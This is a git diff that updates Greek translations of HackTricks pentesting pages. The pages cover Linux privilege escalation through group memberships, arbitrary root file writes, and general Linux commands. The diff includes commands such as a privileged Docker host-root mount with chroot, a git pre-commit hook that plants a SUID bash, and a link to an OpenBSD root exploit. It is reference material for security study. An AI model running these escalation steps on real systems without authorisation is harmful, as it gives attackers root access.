* **Κοινοποιήστε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
## Ομάδες Sudo/Admin
### **PE - Μέθοδος 1**
### **Ανύψωση Δικαιωμάτων - Μέθοδος 1**
**Μερικές φορές**, **από προεπιλογή (ή επειδή κάποιο λογισμικό το απαιτεί)** μέσα στο αρχείο **/etc/sudoers** μπορείτε να βρείτε μερικές από αυτές τις γραμμές:
```bash
@ -32,13 +33,13 @@
```
sudo su
```
### Μέθοδος PE 2
### Μέθοδος 2
Βρείτε όλα τα suid δυαδικά και ελέγξτε αν υπάρχει το δυαδικό **Pkexec**:
Βρείτε όλα τα suid δυαδικά αρχεία και ελέγξτε αν υπάρχει το δυαδικό αρχείο **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
Αν ανακαλύψετε ότι το δυαδικό **pkexec είναι ένα SUID δυαδικό** και ανήκετε στα **sudo** ή **admin**, μπορείτε πιθανόν να εκτελέσετε δυαδικά ως sudo χρησιμοποιώντας το `pkexec`.\
Αν ανακαλύψετε ότι το δυαδικό **pkexec είναι ένα SUID δυαδικό** και ανήκετε στα **sudo** ή **admin**, μπορείτε πιθανότατα να εκτελέσετε δυαδικά ως sudo χρησιμοποιώντας το `pkexec`.\
Αυτό συμβαίνει επειδή συνήθως αυτές είναι οι ομάδες μέσα στην **πολιτική polkit**. Αυτή η πολιτική αναγνωρίζει βασικά ποιες ομάδες μπορούν να χρησιμοποιήσουν το `pkexec`. Ελέγξτε το με:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
@ -104,9 +105,11 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
Αν μπορούμε να απαγάγουμε ορισμένα προγράμματα στο `/usr/local`, μπορούμε εύκολα να αποκτήσουμε root πρόσβαση.
### Ενδιαφέρουσες Ομάδες στο Linux Προνομιακής Επέκτασης
Η απαγωγή του προγράμματος `run-parts` είναι ένας εύκολος τρόπος για να αποκτήσουμε root πρόσβαση, επειδή τα περισσότερα προγράμματα θα εκτελέσουν ένα `run-parts` όπως (crontab, όταν συνδεθείτε μέσω ssh).
Εάν μπορούμε να αρπάξουμε ορισμένα προγράμματα στο `/usr/local`, μπορούμε εύκολα να αποκτήσουμε ριζικά δικαιώματα.
Η αρπαγή του προγράμματος `run-parts` είναι ένας τρόπος εύκολος για να αποκτήσουμε ριζικά δικαιώματα, επειδή τα περισσότερα προγράμματα θα εκτελέσουν ένα `run-parts` όπως (crontab, όταν συνδέεται κάποιος μέσω ssh).
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -166,7 +169,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Ωστόσο, αν προσπαθήσετε να **εγγράψετε αρχεία που ανήκουν στο χρήστη root** (όπως `/etc/shadow` ή `/etc/passwd`) θα λάβετε ένα σφάλμα "**Άρνηση πρόσβασης**".
## Ομάδα Video
## Ομάδα Βίντεο
Χρησιμοποιώντας την εντολή `w` μπορείτε να βρείτε **ποιος είναι συνδεδεμένος στο σύστημα** και θα εμφανίσει ένα αποτέλεσμα όπως το παρακάτω:
```bash
@ -183,13 +186,13 @@ cat /sys/class/graphics/fb0/virtual_size
```
Για να **ανοίξετε** την **ακατέργαστη εικόνα** μπορείτε να χρησιμοποιήσετε το **GIMP**, επιλέξτε το αρχείο \*\*`screen.raw` \*\* και επιλέξτε ως τύπο αρχείου **Raw image data**:
![](<../../../.gitbook/assets/image (287) (1).png>)
![](<../../../.gitbook/assets/image (463).png>)
Στη συνέχεια τροποποιήστε το Πλάτος και το Ύψος στις τιμές που χρησιμοποιούνται στην οθόνη και ελέγξτε διαφορετικούς Τύπους Εικόνας (και επιλέξτε αυτόν που εμφανίζει καλύτερα την οθόνη):
![](<../../../.gitbook/assets/image (288).png>)
![](<../../../.gitbook/assets/image (317).png>)
## Root Group
## Ομάδα Root
Φαίνεται ότι από προεπιλογή τα **μέλη της ομάδας root** μπορεί να έχουν πρόσβαση για **τροποποίηση** ορισμένων αρχείων ρυθμίσεων **υπηρεσιών** ή ορισμένων αρχείων **βιβλιοθηκών** ή **άλλων ενδιαφερουσών πραγμάτων** που θα μπορούσαν να χρησιμοποιηθούν για την ανάδειξη προνομίων...
@ -199,7 +202,7 @@ find / -group root -perm -g=w 2>/dev/null
```
## Ομάδα Docker
Μπορείτε **να προσαρτήσετε το σύστημα αρχείων ρίζας του κεντρικού υπολογιστή σε έναν όγκο της μηχανής**, έτσι ώστε όταν η μηχανή ξεκινά, φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει αποτελεσματικά root στη μηχανή.
Μπορείτε να **προσαρτήσετε το σύστημα αρχείων ρίζας του κεντρικού υπολογιστή σε έναν όγκο μιας εικόνας**, έτσι ώστε όταν ξεκινά η εικόνα, φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει αποτελεσματικά root στον υπολογιστή.
```bash
docker image #Get images from the docker service
@ -219,10 +222,10 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chr
## Ομάδα Adm
Συνήθως τα **μέλη** της ομάδας **`adm`** έχουν δικαιώματα να **διαβάζουν αρχεία καταγραφής** που βρίσκονται μέσα στον φάκελο _/var/log/_.\
Επομένως, αν έχετε μολυνθεί έναν χρήστη μέσα σε αυτή την ομάδα, οπωσδήποτε θα πρέπει να **ελέγξετε τα αρχεία καταγραφής**.
Συνήθως τα **μέλη** της ομάδας **`adm`** έχουν δικαιώματα να **διαβάζουν αρχεία καταγραφής** που βρίσκονται μέσα στο _/var/log/_.\
Επομένως, αν έχετε μολυνθεί έναν χρήστη μέσα σε αυτή την ομάδα, οπωσδήποτε θα πρέπει να ρίξετε μια **ματιά στα logs**.
## Ομάδα Auth
Στο OpenBSD η ομάδα **auth** συνήθως μπορεί να γράψει στους φακέλους _**/etc/skey**_ και _**/var/db/yubikey**_ αν χρησιμοποιούνται.\
Αυτά τα δικαιώματα μπορούν να καταχραστούν με τον παρακάτω εκμεταλλευτή για **εξώθηση προνομίων** σε root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
Αυτά τα δικαιώματα μπορούν να καταχραστούν με το ακόλουθο exploit για **εξώθηση προνομίων** σε root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)

View file

@ -1,18 +1,19 @@
# Αυθαίρετη Εγγραφή Αρχείου στο Root
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ κάνοντας υποβολή PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
### /etc/ld.so.preload
@ -45,14 +46,31 @@ system("/bin/bash");
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
{% endcode %}
### Αρχεία Cron & Time
TODO
### Αρχεία Υπηρεσιών & Σοκέ
### Αρχεία Υπηρεσίας & Socket
TODO
### binfmt\_misc
Το αρχείο που βρίσκεται στο `/proc/sys/fs/binfmt_misc` υποδεικνύει ποιο δυαδικό αρχείο πρέπει να εκτελέσει ποιον τύπο αρχείων. TODO: ελέγξτε τις απαιτήσεις για να εκμεταλλευτείτε αυτό για να εκτελέσετε ένα αντίστροφο κέλυφος όταν ανοίγεται ένα κοινό τύπο αρχείου.
Το αρχείο που βρίσκεται στο `/proc/sys/fs/binfmt_misc` υποδεικνύει ποιο δυαδικό αρχείο πρέπει να εκτελέσει ποιον τύπο αρχείων. TODO: ελέγξτε τις απαιτήσεις για να εκμεταλλευτείτε αυτό για να εκτελέσετε ένα αντίστροφο κέλυφος όταν ανοίγεται ένα κοινό τύπο αρχείου.
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Χρήσιμες Εντολές Linux
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
</details>
{% endhint %}
## Κοινές Εντολές Bash
```bash
@ -141,7 +142,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
@ -169,7 +170,11 @@ python pyinstaller.py --onefile exploit.py
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Φίλτρα Greps
## Greps
### Αναζητήσεις με το grep
Η εντολή `grep` χρησιμοποιείται για την αναζήτηση κειμένου σε ένα αρχείο. Μπορεί να χρησιμοποιηθεί με διάφορες επιλογές για να προσαρμοστεί στις ανάγκες αναζήτησής σας.
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -292,9 +297,7 @@ for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do ech
```
## Iptables
### Περιγραφή
Το **iptables** είναι ένα εργαλείο που χρησιμοποιείται για τη διαχείριση των κανόνων πυραμίδας στα συστήματα Linux. Χρησιμοποιείται για την προστασία του συστήματος από επιθέσεις δικτύου, την προώθηση πακέτων, την αποκλεισμό IP και άλλες δικτυακές λειτουργίες.
## Πίνακας Κανόνων
```bash
#Delete curent rules and chains
iptables --flush
@ -325,24 +328,25 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ καταθέτοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο **προηγμένα εργαλεία** της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,26 +1,27 @@
# Χρήσιμες Εντολές Linux
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Κοινές Εντολές Bash
```bash
@ -141,7 +142,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
@ -285,7 +286,9 @@ nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Κέλυφος Bash
## Bash
### Εντολές Bash
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
@ -294,7 +297,7 @@ for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do ech
### Περιγραφή
Το **iptables** είναι ένα εργαλείο που χρησιμοποιείται για τη διαχείριση των κανόνων πυραμίδας στα συστήματα Linux. Χρησιμοποιείται για την προστασία του συστήματος από επιθέσεις δικτύου, την προώθηση πακέτων, την αποκλεισμό IP και άλλες δικτυακές λειτουργίες.
Το **iptables** είναι ένα εργαλείο που χρησιμοποιείται για τη διαχείριση του firewall σε συστήματα Linux. Μπορεί να χρησιμοποιηθεί για την εφαρμογή κανόνων ασφαλείας σε πακέτα δεδομένων που εισέρχονται ή εξέρχονται από ένα σύστημα.
```bash
#Delete curent rules and chains
iptables --flush
@ -325,21 +328,22 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε τεχνικές χάκινγκ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\

View file

@ -1,23 +1,24 @@
# Παράκαμψη Περιορισμών Linux
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
